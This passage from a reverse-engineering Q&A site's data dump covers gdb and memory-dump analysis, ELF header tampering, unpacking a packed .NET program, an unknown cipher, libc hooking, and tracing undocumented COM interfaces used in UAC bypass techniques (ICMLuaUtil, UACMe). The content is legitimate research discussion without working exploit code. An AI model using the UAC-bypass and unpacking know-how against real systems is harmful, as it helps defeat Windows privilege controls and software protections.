  <row Id="19933" PostTypeId="1" CreationDate="2018-11-20T18:11:10.017" Score="2" ViewCount="467" Body="&lt;p&gt;I'm trying to find a string value stored in memory by a binary (possibly written in C) that won't show up when I perform &quot;strings a.out&quot;. I have tried examining particular memory addresses of interest that I have picked out from the assembly code but with no success. Thus, I am looking to try and print all the string values stored in memory (or char* arrays) by the program. Is there a way to do this? (note: the file does not contain debugging info). Thanks!&lt;/p&gt;&#xA;" OwnerUserId="26456" LastActivityDate="2018-11-20T19:38:45.860" Title="obtaining string value from Unknown elf-x86-64 binary with gdb" Tags="|binary-analysis|gdb|binary|strings|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19934" PostTypeId="2" ParentId="19933" CreationDate="2018-11-20T19:38:45.860" Score="3" Body="&lt;p&gt;If the executable is not compiled statically, I think the easiest way is to inject a shared object (.so) with &lt;strong&gt;LD_PRELOAD&lt;/strong&gt; to hook/overload the function which prints it and display the address of the buffer. If you disable ASLR, you should be able to set a memory breakpoint on the string address and then figure out how it was 'encrypted'.&#xA;Another solution is to print the return address using &lt;strong&gt;__builtin_return_address&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="26176" LastActivityDate="2018-11-20T19:38:45.860" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19935" PostTypeId="2" ParentId="19847" CreationDate="2018-11-20T21:45:25.470" Score="3" Body="&lt;p&gt;Based on the code screenshot you posted it appears you are looking for differences between two memory snap shots. That is you want to know what all changed in the process address space after you step over the call to &lt;code&gt;test.test()&lt;/code&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope you understand anything can change anywhere when you step over a single unknown arbitrary function over the whole process memory.    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example,&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;A global variable may be modified  which would normally reside in the writable section of a binary.   &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Stack contents may be modified. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A third / nth module/s  may be loaded and  whole blocks of memory may be added which didn't exist prior to executing the function. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;etc ..... etc ....  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can't reliably look for what changed between one single step of a function.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;x64dbg on the trace window provides you what changed on each execution,  you have to scroll and look what changed for each instruction.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, if you can limit your lookup to a certain memory range you can dump the memory to a file and diff them.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;x64dbg provides you one command to save a block of memory  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;savedata :memdump: , 0x400000 , 0x1000  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or for that matter all debugger will provide you a mechanism to dump raw data at some address of some size to a file. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;windbg .writemem &#xA;ida makesnapshot&#xA;ollydbg binary -&amp;gt; backup  or dump in memory map gui&#xA;x64dbg savedata (scriptcommand) or dumpmem in GUI memory map&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can use a hexeditor like hxd to byte compare two dumps for looking at all changes to a certain region of memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a real world example you can set a breakpoint as you have set in the specific code on the screenshot. Dump two snapshots one prior to step and one after step&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What was dumped &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Address=0024D000 &#xA;Size=00003000 &#xA;Page Information=Thread 3F8 Stack &#xA;Allocation Type=PRV &#xA;Current Protection=-RW-G &#xA;Allocation Protection=-RW-- &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;dumped prior and renamed the dumpfile&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0024D000[3000] written to &quot;xxx\pre&quot; !&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;single stepped&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INT3 breakpoint at test.01071076 (01071076)!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;dumped post and renamed the dumpfile&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0024D000[3000] written to &quot;xxx\post&quot; !&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;notice all the changes viz 1111,2222,3333&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;ls -lg&#xA;total 24&#xA;-rw-rw-rw-  1 0 12288 2018-11-21 03:02 post.bin&#xA;-rw-rw-rw-  1 0 12288 2018-11-21 03:01 pre.bin&#xA;&#xA;:\&amp;gt;fc /b pre.bin post.bin&#xA;Comparing files pre.bin and POST.BIN&#xA;00002D68: 6A 76&#xA;00002D70: 0B 00&#xA;00002D71: E1 00&#xA;00002D72: 08 00&#xA;00002D73: 01 00&#xA;00002D74: 00 11&#xA;00002D75: 00 11&#xA;00002D78: 00 22&#xA;00002D79: 00 22&#xA;00002D7C: 20 33&#xA;00002D7D: E1 33&#xA;00002D7E: 08 00&#xA;00002D7F: 01 00&#xA;&#xA;&#xA;:\&amp;gt;xxd -g4 -s 0x2d68 -l 0x20 pre.bin&#xA;0002d68: 6a100701 70fd2400 0be10801 00000000  j...p.$.........&#xA;0002d78: 00000000 20e10801 04e08442 ccfd2400  .... ......B..$.&#xA;&#xA;:\&amp;gt;xxd -g4 -s 0x2d68 -l 0x20 post.bin&#xA;0002d68: 76100701 70fd2400 00000000 11110000  v...p.$.........&#xA;0002d78: 22220000 33330000 04e08442 ccfd2400  &quot;&quot;..33.....B..$.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorDisplayName="user12114" LastEditDate="2019-01-19T19:44:41.950" LastActivityDate="2019-01-19T19:44:41.950" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19936" PostTypeId="2" ParentId="12316" CreationDate="2018-11-20T22:44:16.310" Score="2" Body="&lt;p&gt;I recreated your binary and then used Radare to &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/19924/22669&quot;&gt;corrupt the header exactly as you did&lt;/a&gt;, changing the number of section headers to 52.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;r2 -w a.out -1c's 0; pfo elf64; .pf.elf_header.shnum=52'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This only generated a warning with subsequent invocations of &lt;code&gt;readelf&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ readelf -h a.out &#xA;ELF Header:&#xA;  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 &#xA;  Class:                             ELF64&#xA;  Data:                              2's complement, little endian&#xA;  Version:                           1 (current)&#xA;  OS/ABI:                            UNIX - System V&#xA;  ABI Version:                       0&#xA;  Type:                              DYN (Shared object file)&#xA;  Machine:                           Advanced Micro Devices X86-64&#xA;  Version:                           0x1&#xA;  Entry point address:               0x1050&#xA;  Start of program headers:          64 (bytes into file)&#xA;  Start of section headers:          14624 (bytes into file)&#xA;  Flags:                             0x0&#xA;  Size of this header:               64 (bytes)&#xA;  Size of program headers:           56 (bytes)&#xA;  Number of program headers:         11&#xA;  Size of section headers:           64 (bytes)&#xA;  Number of section headers:         52&#xA;  Section header string table index: 28&#xA;readelf: Error: Reading 3328 bytes extends past end of file for section headers&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I got the similar error from GDB,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;not in executable format: file truncated&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And, if I try to debug that file, I get&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;No executable file specified.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I could go back to the original easily with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;r2 -w a.out -c's 0; pfo elf64; .pf.elf_header.shnum=52'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However to answer your question about tooling,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Radare works with it even if the header is set to 52. You can still debug it.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can get gdb to work if the header is less than the original &lt;code&gt;shnum&lt;/code&gt;, for instance setting it to &lt;code&gt;1&lt;/code&gt; will only warn you,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;BFD: warning: /tmp/a.out has a corrupt string table index - ignoring&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;but you can still debug the program.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="22669" LastEditorUserId="22669" LastEditDate="2018-11-20T22:59:02.890" LastActivityDate="2018-11-20T22:59:02.890" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19938" PostTypeId="1" CreationDate="2018-11-21T08:58:55.920" Score="4" ViewCount="7667" Body="&lt;p&gt;I'm trying to reverse a Windows executable that shows as having been packed with &lt;code&gt;ENIGMA(5.X)&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VFTX4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VFTX4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I later check the class name for one of its UI elements, when the process is unpacked and running, it shows as a .NET class &lt;code&gt;WindowsForms10.BUTTON.app.0.378734a&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EqTA8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EqTA8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if I then attach to that process with dnSpy, I can pause that .NET executable somewhere in &lt;code&gt;System.Windows.Forms.dll&lt;/code&gt; in &lt;code&gt;Application&lt;/code&gt; - &lt;code&gt;UnsafeNativeMethods.IMsoComponentManager.FPushMessageLoop()&lt;/code&gt; function but there seems to be no info on the .NET assemblies from the target process itself:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VndQ3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VndQ3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal was to see the .NET code after the &lt;code&gt;Start&lt;/code&gt; button click in that app. Any idea how should I proceed?&lt;/p&gt;&#xA;" OwnerUserId="14864" LastActivityDate="2019-03-23T23:41:36.760" Title="How to disassemble a packed .NET executable?" Tags="|disassembly|.net|packers|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19941" PostTypeId="2" ParentId="19938" CreationDate="2018-11-21T20:37:22.617" Score="1" Body="&lt;p&gt;After you press 'Pause' you will end you in the message loop - that's ok. Go to the call-stack window and you should see your binary in on of the previous frames. Double click on one of them and dnSpy should load it and analyse. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But since the binary is packed (and probably obfuscated) I think you need to first unpack it and run this version in order to correctly map instructions to lines.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2018-11-21T20:37:22.617" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19942" PostTypeId="1" CreationDate="2018-11-22T02:45:19.780" Score="1" ViewCount="648" Body="&lt;p&gt;&lt;strong&gt;Hello!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working on reversing one library (shared object) written for ARM architecture. It's obfuscated or packed with something pretty strong what makes debugging much harder and almost impossible on &quot;long distance&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is function which provides encryption with some strange algorithm (at least for me).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I've researched for now:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Size of input and output is same;&lt;/li&gt;&#xA;&lt;li&gt;Algorithm works with &lt;strong&gt;4 memory regions&lt;/strong&gt;, which affects on result (tested):&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Size - 256 bytes. This is SBOX, but with custom values &lt;strong&gt;(values are different from AES SBox)&lt;/strong&gt;;&lt;/li&gt;&#xA;&lt;li&gt;Size - 256 bytes. This is inverted SBOX;&lt;/li&gt;&#xA;&lt;li&gt;Size - 16 bytes. Probably, initialization vector, but I'm not sure;&lt;/li&gt;&#xA;&lt;li&gt;Size - 128 bytes. Unknown region.&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;Decryption function also works with same memory regions.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For now I know only first operations in data in algorithm:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Reverse bits in each byte (&lt;code&gt;0x30 (00110000b) =&amp;gt; 0xC (00001100b)&lt;/code&gt;);&lt;/li&gt;&#xA;&lt;li&gt;Reverse bytes (&lt;code&gt;01 02 03 04 05 06 07 08 =&amp;gt; 08 07 06 05 04 03 02 01&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Some additional information:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If input length &amp;lt; 15 it's just reverse bits and bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example &lt;em&gt;(bytes in hex)&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;01 01 01 01 01 01 01 01 =&gt; 80 80 80 80 80 80 80 80 80&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If input length is 15 it reverse bits in all bytes except 4th. Then reverse bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example &lt;em&gt;(bytes in hex)&lt;/em&gt;: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;01 01 01 &lt;strong&gt;02&lt;/strong&gt; 01 01 01 01 01 01 01 01 01 01 01 =&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;80 80 80 80 80 80 80 80 80 80 80 80 &lt;strong&gt;02&lt;/strong&gt; 80 80 80&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If input length is 16 it reverse bits and bytes, encrypts data with this &quot;unknown&quot; algorithm;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If input length is 17-32 it'll reverse bits and bytes in first 16 bytes, encrypts first 16 bytes with this algorithm and just reverse bits and bytes in rest data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;em&gt;(bytes in hex, bold bytes contains result of encryption)&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01&lt;/strong&gt; &lt;em&gt;02 03 04 05&lt;/em&gt; =&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;50 D4 51 BD 59 42 30 A1 B3 5F 77 BD B3 BF A1 9A&lt;/strong&gt; &lt;em&gt;A0 20 C0 40&lt;/em&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have opportunity to launch encryption on any data and change all variables. Also I have opportunity to launch built-in decrypt function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe someone know what it can be or can recommend me some additional steps to clarify name of this algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;P.S. Sorry for my bad English, hope I've described everything clear.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="26478" LastActivityDate="2018-11-22T02:45:19.780" Title="Reverse crypto algorythm, based on AES" Tags="|decryption|encryption|cryptography|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19943" PostTypeId="1" CreationDate="2018-11-22T09:35:10.940" Score="0" ViewCount="859" Body="&lt;p&gt;How can intercept libc function in C++ using LD_PRELOAD. I want to write code only in C++ file and all the logic of symbol fishing (dlsym) must be in C++ file.&#xA;Please give an example.&lt;/p&gt;&#xA;" OwnerUserId="26482" LastEditorUserId="245" LastEditDate="2018-11-22T10:41:47.073" LastActivityDate="2018-11-22T10:41:47.073" Title="How can I intercept syscall libc function in C++ without writing any code in C file" Tags="|c++|c|libc|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19944" PostTypeId="2" ParentId="19943" CreationDate="2018-11-22T10:08:16.847" Score="2" Body="&lt;p&gt;If you want to intercept only &lt;em&gt;library&lt;/em&gt; calls, you can insert your hooks in the &lt;code&gt;GOT&lt;/code&gt; of the executable or at the dynamic loader resolver pointer (&lt;code&gt;GOT[2]&lt;/code&gt;). I don't have sample code at hand, but &lt;a href=&quot;https://eli.thegreenplace.net/2011/11/03/position-independent-code-pic-in-shared-libraries/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this aricle&lt;/a&gt; is good for background.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to intercept all &lt;em&gt;syscalls&lt;/em&gt; (including those in the binary itself, e.g. if it's linked statically), you can use &lt;code&gt;ptrace (PTRACE_SYSCALL)&lt;/code&gt; to be notified of all syscalls happening in the process. There are &lt;a href=&quot;https://stackoverflow.com/questions/9759598/ptracing-syscalls&quot;&gt;some examples&lt;/a&gt; on StackOverflow but they usually assume you're tracing another process. If you want to trace the same process you're in, you can use the &lt;code&gt;ptrace(PTRACE_TRACEME)&lt;/code&gt; call.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-11-22T10:08:16.847" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19946" PostTypeId="1" AcceptedAnswerId="19950" CreationDate="2018-11-22T16:38:35.473" Score="1" ViewCount="260" Body="&lt;p&gt;I am using the hexray api to get all the items of the AST tree (the ctree) obtained by decompiling a function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, the treeitems vector is always empty. Specifically, the function paaaa in this code returns always '0' or 'E'.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from idautils import *&#xA;from idaapi import *&#xA;import idc&#xA;import ida_hexrays as hexray&#xA;&#xA;def load_hex_ray():&#xA;    if not init_hexrays_plugin():&#xA;        idc.RunPlugin(&quot;hexx64&quot;, 0)&#xA;    if not init_hexrays_plugin():&#xA;        idc.RunPlugin(&quot;hexrays&quot;, 0)&#xA;    if not init_hexrays_plugin():&#xA;        idc.RunPlugin(&quot;hexarm&quot;, 0)&#xA;&#xA;def paaaaa(address):&#xA;        try:&#xA;            cfun=hexray.decompile(address)&#xA;            #if I print cfun it shows correct decompiled code.&#xA;            cfun.refcnt=cfun.refcnt+1&#xA;            cfun.build_c_tree()&#xA;            return str((cfun.treeitems.size()))&#xA;        except:&#xA;            return 'E'&#xA;&#xA;load_hex_ray()&#xA;#code that compute functions addresses and calls paaaaa&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea on what can be wrong?&#xA;I am using an old version of IDA 7.0&lt;/p&gt;&#xA;" OwnerUserId="26485" LastActivityDate="2018-11-23T09:00:57.590" Title="idapython cfunc_t.treeitems always empty" Tags="|ida|idapython|ast|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19947" PostTypeId="1" AcceptedAnswerId="19951" CreationDate="2018-11-22T19:45:07.217" Score="4" ViewCount="3946" Body="&lt;p&gt;I have started exploring COM objects, initially I got to it from UAC bypass methods but I guess my question is general. The general question is: &lt;strong&gt;How can I get from (elevated) CLSID in the registry to calling the functions in the COM interface?&lt;/strong&gt;. Explanation of the research I performed and my specific questions next. I will use IFileOperation COM (CLSID = 3AD05575-8857-4850-9277-11B85BDB8E09) and ICMLuaUtil COM (CLSID = 3E5FC7F9-9A51-4367-9063-A120244FBEC7) as an example in this post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;COM objects are listed in the registry under &lt;code&gt;HKEY_CLASSES_ROOT\CLSID&lt;/code&gt;. The default value has the COM name and the server DLL file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, in order to list the interfaces associated with it I used &lt;code&gt;oleview&lt;/code&gt;, for IFileOperation it showed all the interfaces but for ICMLuaUtil it showed only the . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even after I get the interface name, I have to get the function list and signatures, this can be extracted from the &lt;code&gt;idl&lt;/code&gt; file. A great answer presented &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2822/com-interface-methods&quot;&gt;here&lt;/a&gt; shows how to get from an interface name to its function signatures by examining the example code and searching for &lt;code&gt;idl&lt;/code&gt; file with the same name as the imports in the &lt;code&gt;sdk&lt;/code&gt; folder. I have tried applying similar approach with the two interfaces with partial success. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;For IFileOperation, the example source has 4 includes neither of which has exact same &lt;code&gt;idl&lt;/code&gt; file in the sdk folder. So i search the content of all the files in the folder for the word &lt;code&gt;IFileOperation&lt;/code&gt; which resulted in getting the desired file: &lt;code&gt;shobjidl_core&lt;/code&gt;. &lt;/li&gt;&#xA;&lt;li&gt;Unfortunately I couldn't do the same thing with &lt;code&gt;ICMLuaUtil&lt;/code&gt; as I don't know the interface name, I tried several name variations but got nothing. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Other methods I tried are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Extracting all files from the DLLs I found in the registry (nothing there)&lt;/li&gt;&#xA;&lt;li&gt;COMViewer should present additional information but it didn't work on my Windows 10 machine (didn't start), even with compatibility mode.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;My question is how do I get from the (sometimes undocumented) COM objects to concrete interface definition so I could use it in my code? The &lt;a href=&quot;https://github.com/hfiref0x/UACME&quot; rel=&quot;nofollow noreferrer&quot;&gt;UACMe&lt;/a&gt; project has a concrete definition of the interface for &lt;code&gt;ICMLuaUtil&lt;/code&gt;, so there must be a method to obtain it. What are the guidelines and steps to obtain those function signatures?&lt;/p&gt;&#xA;" OwnerUserId="26486" LastEditorUserId="26486" LastEditDate="2018-11-22T19:50:57.643" LastActivityDate="2018-11-25T16:33:26.897" Title="Get interface definition of undocumented COM objects" Tags="|windows|dll|functions|com|windows-10|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19949" PostTypeId="1" CreationDate="2018-11-23T08:30:53.210" Score="1" ViewCount="170" Body="&lt;p&gt;What is the base way to generate UML diagrams (both class and sequence) from .NET assembly using OpenSource tools?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://www.codeproject.com/Articles/207280/200-Reflective-Class-Diagram-Creation-Tool&quot; rel=&quot;nofollow noreferrer&quot;&gt;200% Reflective Class Diagram Creation Tool&lt;/a&gt; cannot be used due on problems &lt;a href=&quot;https://glot.io/snippets/f6xp8xpf03&quot; rel=&quot;nofollow noreferrer&quot;&gt;starting custom build on machine&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ready-to use builds needed.&lt;/p&gt;&#xA;" OwnerUserId="3665" LastEditorUserId="3665" LastEditDate="2018-11-23T10:02:36.253" LastActivityDate="2018-11-23T10:02:36.253" Title="Re-engineering to create UML Diagrams from .NET binary assembly" Tags="|.net|c#|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19950" PostTypeId="2" ParentId="19946" CreationDate="2018-11-23T09:00:57.590" Score="0" Body="&lt;p&gt;I fixed the issue even if I do not fully understand why this solution work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def paaaaa(address):&#xA;    try:&#xA;        cfun=hexray.decompile(address)&#xA;        print(cfun)&#xA;        return str((cfun.treeitems.size()))&#xA;    except:&#xA;        return 'E'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;probably the print forces ida to correctly populate the ctree. I do not understand why the api cfun.build_c_tree() does not do the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, for now, I am good with this workaround.&lt;/p&gt;&#xA;" OwnerUserId="26485" LastActivityDate="2018-11-23T09:00:57.590" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19951" PostTypeId="2" ParentId="19947" CreationDate="2018-11-23T10:03:51.780" Score="5" Body="&lt;p&gt;Now, this can't be a full-fledged answer from A to Z, unfortunately. But for COM there are only a few steps that are really specific to COM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The project you linked clearly has reverse-engineered the interfaces (&lt;code&gt;elvint.h&lt;/code&gt;). What this means first and foremost is that the names of the interfaces needn't necessarily match what Microsoft called them (in your case they match, though). However, if the binaries implementing the respective COM interfaces or their proxy DLL are official system files, PDB files can be fetched for them and even though Microsoft has severely cut down on public symbols, this often allows you to assign more meaningful names to functions/methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course the author(s) of the linked project already knew what they were looking for and it seems to be system components that somehow &quot;magically&quot; are able to circumvent the typical UAC elevation prompt even though one should expect them to show one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now say they found that the Connection Manager configuration (related to &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/rras/remote-access-start-page&quot; rel=&quot;noreferrer&quot;&gt;RAS&lt;/a&gt;) contained such functionality, they'd now go ahead and perform an action that you'd expect to require elevation but which doesn't. Then they'd look up the DLLs loaded into the process and either find an InProc server or a proxy leading them to an OutProc server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Failing the lookup step they could simply survey all the system DLLs, looking for the typical COM bunch of exported functions (the first being the most obvious):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;code&gt;DllGetClassObject&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;DllCanUnloadNow&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;DllAddRef&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;DllRelease&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;... and then inspect the version info resource. With the &lt;a href=&quot;https://github.com/erocarrera/pefile&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;pefile&lt;/code&gt;&lt;/a&gt; module this becomes a simple Python scripting job. It's basically that first step you always have with RCE: intelligence gathering. It's not strictly RCE (as in sifting through or manipulating disassembly) but it's an intrinsic part of all the RCE jobs I've done so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in your case you already used oleview.exe and therefore knew the most important information:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CwlCN.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CwlCN.png&quot; alt=&quot;Information shown in cmlua.dll for ICMLuaUtil&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;... which is why I found your comment confusing:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Unfortunately I couldn't do the same thing with &lt;code&gt;ICMLuaUtil&lt;/code&gt; as I don't&#xA;  know the interface name, I tried several name variations but got&#xA;  nothing.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now having found &lt;code&gt;cmlua.dll&lt;/code&gt; to be the DLL to implement our (COM) object of interest, we can go ahead and load that into IDA (or another disassembler) and we will get prompted to load the debug symbol from Microsoft's symbol servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And once the symbols are loaded we get to see this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ibo7z.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ibo7z.png&quot; alt=&quot;excerpt of IDA&amp;#39;s understanding of the cmlua.dll functions with debug symbols applied&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/hfiref0x/UACME/blob/62a42eb94c07a25979b525a77b5718158e8b5f0d/Source/Akagi/methods/elvint.h#L147&quot; rel=&quot;noreferrer&quot;&gt;Looks familiar?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get the IDL you need to match the vtable of the 